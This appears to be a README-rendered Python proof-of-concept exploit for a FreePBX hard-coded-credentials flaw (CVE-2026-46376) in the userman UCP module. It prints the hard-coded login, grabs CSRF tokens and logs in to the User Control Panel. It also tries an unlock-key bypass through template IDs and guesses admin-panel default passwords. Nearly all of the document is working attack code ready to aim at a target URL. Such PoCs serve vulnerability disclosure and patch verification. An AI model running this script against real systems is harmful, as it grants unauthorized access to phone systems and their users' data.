README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-46376 - FreePBX Unauthenticated UCP Access via Hard-Coded Credentials
Hard-coded credentials in FreePBX userman module UCP generic template setup allow
unauthenticated attackers to access the User Control Panel (UCP).
CVSS: 9.1 (Critical)
CWE: 798 (Use of Hard-Coded Credentials)
Affected: FreePBX 15.0.42+, userman <= 16.0.44 (FreePBX 16), userman <= 17.0.6 (FreePBX 17)
Fixed in: userman 16.0.45, 17.0.7
"""
import argparse
import re
import sys
import warnings
from urllib.parse import urljoin
import requests
warnings.filterwarnings("ignore", message="Unverified HTTPS request")
USERNAME = "FreePBXUCPTemplateCreator"
PASSWORD = "1a2b3c@fd48jshs03123ld"
DEFAULT_ADMIN_CREDS = [
("admin", "admin"),
("admin", "password"),
("maint", "password"),
("ampuser", "amp109"),
]
AFFECTED_VERSIONS = [
("15", 42, None, "FreePBX 15.0.42+"),
("16", 0, 44, "userman <= 16.0.44"),
("17", 0, 6, "userman <= 17.0.6"),
]
GREEN = "\033[0;32m"
RED = "\033[0;31m"
YELLOW = "\033[1;33m"
CYAN = "\033[0;36m"
NC = "\033[0m"
def ok(msg):
print(f"{GREEN}[+]{NC} {msg}")
def err(msg):
print(f"{RED}[-]{NC} {msg}")
def warn(msg):
print(f"{YELLOW}[!]{NC} {msg}")
def section(title):
print(f"\n{CYAN}{'=' * 44}{NC}")
print(f"{CYAN} {title}{NC}")
print(f"{CYAN}{'=' * 44}{NC}")
def version_in_range(version_str):
try:
parts = str(version_str).split(".")
major, minor = parts[0], parts[1]
patch = parts[2] if len(parts) > 2 else "0"
except (IndexError, ValueError):
return False
for vmaj, vmin, vpatch, _ in AFFECTED_VERSIONS:
if major == vmaj:
if vpatch is None:
if int(minor) >= vmin:
return True
else:
if int(minor) < vmin:
return True
if int(minor) == vmin and int(patch) <= vpatch:
return True
return False
def pre_flight(target: str, session: requests.Session) -> dict:
"""Run pre-flight checks to assess target readiness."""
section("Pre-Flight Checks")
info = {"reachable": False, "has_ucp": False, "version": None, "in_range": False}
try:
r = session.get(target, timeout=10, verify=False)
info["reachable"] = True
ok(f"Target is reachable (HTTP {r.status_code})")
except requests.RequestException as e:
err(f"Target is unreachable: {e}")
return info
try:
r = session.get(urljoin(target, "/admin/config.php"), timeout=10, verify=False)
m = re.search(r"FreePBX (\d+\.\d+\.\d+)", r.text)
if m:
info["version"] = m.group(1)
ok(f"FreePBX version: {info['version']}")
info["in_range"] = version_in_range(info["version"])
if info["in_range"]:
ok(f"Version {info['version']} is in the affected range")
else:
warn(f"Version {info['version']} may not be in the affected range")
except requests.RequestException:
warn("Could not access admin panel")
try:
r = session.get(urljoin(target, "/ucp/index.php"), timeout=10, verify=False)
if "User Control Panel" in r.text:
info["has_ucp"] = True
ok("UCP interface is accessible")
except requests.RequestException:
warn("Could not access UCP")
return info
def exploit_ucp_credentials(target: str, session: requests.Session, preflight: dict):
"""Attempt UCP login using the hard-coded credentials."""
section("Method 1: Hard-Coded UCP Credentials")
print(f" Username: {USERNAME}")
print(f" Password: {PASSWORD}")
try:
r = session.get(urljoin(target, "/ucp/index.php"), timeout=10, verify=False)
m = re.search(r'name="token" value="([^"]+)"', r.text)
if not m:
err("Could not extract CSRF token")
return False
token = m.group(1)
ok(f"Got CSRF token: {token}")
except requests.RequestException as e:
err(f"Failed to fetch login page: {e}")
return False
try:
r = session.post(
urljoin(target, "/ucp/ajax.php"),
data={
"token": token,
"username": USERNAME,
"password": PASSWORD,
"email": "",
"module": "User",
"command": "login",
},
headers={"X-Requested-With": "XMLHttpRequest"},
timeout=10,
verify=False,
)
try:
data = r.json()
except Exception:
err("Login failed - AJAX endpoint returned non-JSON (wrong version or proxy interference)")
return False
if data.get("status") is True:
ok(f"SUCCESS! Logged in as {USERNAME}")
return True
msg = data.get("message", "unknown error")
err(f"Login failed - {msg}")
return False
except requests.RequestException as e:
err(f"Login request failed: {e}")
return False
def exploit_unlock_bypass(target: str, session: requests.Session):
"""Attempt UCP unlock key bypass via template query parameters."""
section("Method 2: UCP Unlock Key Bypass")
for tid in range(6):
try:
r = session.get(
urljoin(target, f"/ucp/index.php?unlockkey=test&templateid={tid}"),
timeout=10,
verify=False,
)
# Authenticated UCP shows "logout" links and action buttons
# while the login form is replaced by dashboard content
if (
"logout" in r.text.lower()
and 'id="frm-login"' not in r.text
and 'name="token"' not in r.text
and ('class="main-block"' in r.text or 'data-section=' in r.text or 'widget' in r.text.lower())
):
ok(f"SUCCESS! Unlock key bypass worked with templateid={tid}")
return True
except requests.RequestException:
pass
err("Unlock key bypass failed")
return False
def exploit_admin_defaults(target: str, session: requests.Session):
"""Attempt admin panel login with common default credentials."""
section("Method 3: Admin Panel Default Credentials")
try:
r = session.get(urljoin(target, "/admin/config.php"), timeout=10, verify=False)
token_m = re.search(r'name="token" value="([^"]+)"', r.text)
token = token_m.group(1) if token_m else ""
except requests.RequestException:
token = ""
for user, pwd in DEFAULT_ADMIN_CREDS:
try:
data = {"username": user, "password": pwd}
if token:
data["token"] = token
r = session.post(
urljoin(target, "/admin/config.php"),
data=data,
timeout=10,
verify=False,
)
if r.status_code == 401:
continue
body = r.text.lower()
if "invalid username or password" in body:
continue
if "loginform" in body or 'id="loginform"' in body:
continue
if "freepbx administration" not in body and "freepbx" not in body:
continue
ok(f"SUCCESS! Admin login with {user}:{pwd}")
return True
except requests.RequestException:
pass
err("No default admin credentials worked")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-46376 - FreePBX Unauthenticated UCP Access PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=(
"Hard-coded credentials in FreePBX userman UCP generic template setup.\n"
"Affects FreePBX 15.0.42+ and unpatched userman on FreePBX 16/17.\n\n"
"Discovered by s0nnyWT, disclosed May 2026."
),
)
parser.add_argument("target", help="Target URL (e.g. http://192.168.1.100)")
parser.add_argument(
"--no-check", action="store_true", help="Skip version pre-flight check"
)
parser.add_argument(
"--yes", "-y", action="store_true", help="Auto-continue even if version is out of range"
)
parser.add_argument("--timeout", type=int, default=15, help="Request timeout in seconds")
parser.add_argument(
"--method",
choices=["creds", "unlock", "admin", "all"],
default="all",
help="Which exploit method to run (default: all)",
)
args = parser.parse_args()
target = args.target.rstrip("/")
session = requests.Session()
print()
print(f"{CYAN}{'=' * 44}{NC}")
print(f"{CYAN} CVE-2026-46376 PoC - FreePBX UCP Access{NC}")
print(f"{CYAN} Target: {target}{NC}")
print(f"{CYAN}{'=' * 44}{NC}")
preflight = pre_flight(target, session)
if not preflight["reachable"]:
sys.exit(1)
if not args.no_check and preflight["version"] and not preflight["in_range"]:
warn("Target version appears outside the affected range — exploitation unlikely")
if not args.yes:
confirm = input(f"{YELLOW}[?]{NC} Continue anyway? [y/N] ")
if confirm.lower() != "y":
print("Exiting.")
sys.exit(0)
section("Exploitation")
results = {}
if args.method in ("creds", "all"):
results["creds"] = exploit_ucp_credentials(target, session, preflight)
if args.method in ("unlock", "all"):
results["unlock"] = exploit_unlock_bypass(target, session)
if args.method in ("admin", "all"):
results["admin"] = exploit_admin_defaults(target, session)
section("Summary")
if any(results.values()):
print(f"{GREEN}Target is VULNERABLE{NC}")
else:
print(f"{RED}Target is NOT vulnerable (or version not in affected range){NC}")
print(f"\n {YELLOW}Username:{NC} {USERNAME}")
print(f" {YELLOW}Password:{NC} {PASSWORD}")
print()
print(" Affected versions:")
for _, _, _, label in AFFECTED_VERSIONS:
print(f" - {label}")
print(" Fixed in: userman 16.0.45, 17.0.7")
if __name__ == "__main__":
main()